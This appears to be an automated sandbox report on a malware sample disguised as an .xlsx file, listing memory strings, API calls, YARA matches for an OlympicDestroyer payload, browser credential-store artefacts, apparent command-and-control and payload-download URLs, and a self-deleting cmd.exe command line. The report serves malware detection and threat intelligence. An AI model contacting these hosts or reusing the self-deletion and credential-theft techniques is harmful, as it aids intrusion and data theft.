Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: 7000091945.xlsx.exe, 00000003.00000002.1856756897.0000000000060000.00000004.00001000.00020000.00000000.sdmp, 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geinf0.icu/TL341/index.php
Source: 7000091945.xlsx.exe, 00000003.00000002.1856756897.0000000000060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://geinf0.icu/TL341/index.phpLx
Source: 7000091945.xlsx.exe, 00000003.00000002.1861637058.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004E04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mertvinc.com.tr/OGDTCbBRybqnXF193.bin
Source: 7000091945.xlsx.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: http://www.mozilla.com0
Source: 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004E1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.B
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf
Source: 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004E1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: 7000091945.xlsx.exe, 00000003.00000003.1818583940.0000000004E35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2)
Source: 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004E04000.00000004.00000020.00020000.00000000.sdmp, 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: 7000091945.xlsx.exe, 00000003.00000002.1884253319.0000000035CD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srfic
Source: 7000091945.xlsx.exe, 00000003.00000002.1884253319.0000000035CD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf
Source: 7000091945.xlsx.exe, 00000003.00000002.1861430706.0000000004DC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr, nssdbm3.dll.3.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Code function: 0_2_004055B8 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageW,CreatePopupMenu,LdrInitializeThunk,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004055B8

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.7000091945.xlsx.exe.353cba15.6.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 3.2.7000091945.xlsx.exe.353c64ad.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 3.2.7000091945.xlsx.exe.353c1d45.4.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 0_2_004034C5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034C5
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 3_2_004034C5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_004034C5

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Windows\resources\0809	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Windows\resources\0809\Episyllogism	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	File created: C:\Windows\resources\0809\Episyllogism\med	Jump to behavior

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 0_2_00407458	0_2_00407458
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 0_2_00406C81	0_2_00406C81
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 0_2_6FF41B5F	0_2_6FF41B5F
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 3_2_00407458	3_2_00407458
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 3_2_00406C81	3_2_00406C81

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Code function: String function: 00402D3E appears 49 times

Source: api-ms-win-crt-locale-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-private-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-multibyte-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-handle-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found

Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 7000091945.xlsx.exe
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs 7000091945.xlsx.exe
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs 7000091945.xlsx.exe
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs 7000091945.xlsx.exe
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs 7000091945.xlsx.exe
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenssdbm3.dll0 vs 7000091945.xlsx.exe
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs 7000091945.xlsx.exe
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs 7000091945.xlsx.exe
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs 7000091945.xlsx.exe
Source: 7000091945.xlsx.exe, 00000003.00000002.1883419291.0000000034F70000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs 7000091945.xlsx.exe

Source: 7000091945.xlsx.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 3.2.7000091945.xlsx.exe.353cba15.6.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 3.2.7000091945.xlsx.exe.353c64ad.5.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 3.2.7000091945.xlsx.exe.353c1d45.4.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@8/55@2/2

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 0_2_004034C5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034C5
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Code function: 3_2_004034C5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_004034C5

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Code function: 0_2_00404858 GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,LdrInitializeThunk,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404858

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Code function: 0_2_004021A2 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

0_2_004021A2

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

File created: C:\Users\user\udstrmningsdysernes

Jump to behavior

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Mutant created: \Sessions\1\BaseNamedObjects\AFA7A44E6-9414907A-B47410E6-C93AFC43-F91E2913
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7460:120:WilError_03

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

File created: C:\Users\user\AppData\Local\Temp\nsa7C04.tmp

Jump to behavior

Source: 7000091945.xlsx.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: 7000091945.xlsx.exe, 00000003.00000002.1883728023.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 7000091945.xlsx.exe, 00000003.00000003.1818214925.0000000004E36000.00000004.00000020.00020000.00000000.sdmp, 65599535630694532282741.tmp.3.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 7000091945.xlsx.exe

ReversingLabs: Detection: 23%

Source: C:\Users\user\Desktop\7000091945.xlsx.exe

File read: C:\Users\user\Desktop\7000091945.xlsx.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\7000091945.xlsx.exe "C:\Users\user\Desktop\7000091945.xlsx.exe"
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process created: C:\Users\user\Desktop\7000091945.xlsx.exe "C:\Users\user\Desktop\7000091945.xlsx.exe"
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "7000091945.xlsx.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process created: C:\Users\user\Desktop\7000091945.xlsx.exe "C:\Users\user\Desktop\7000091945.xlsx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "7000091945.xlsx.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior

Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\7000091945.xlsx.exe	Section loaded: dnsapi.dll	Jump to behavior
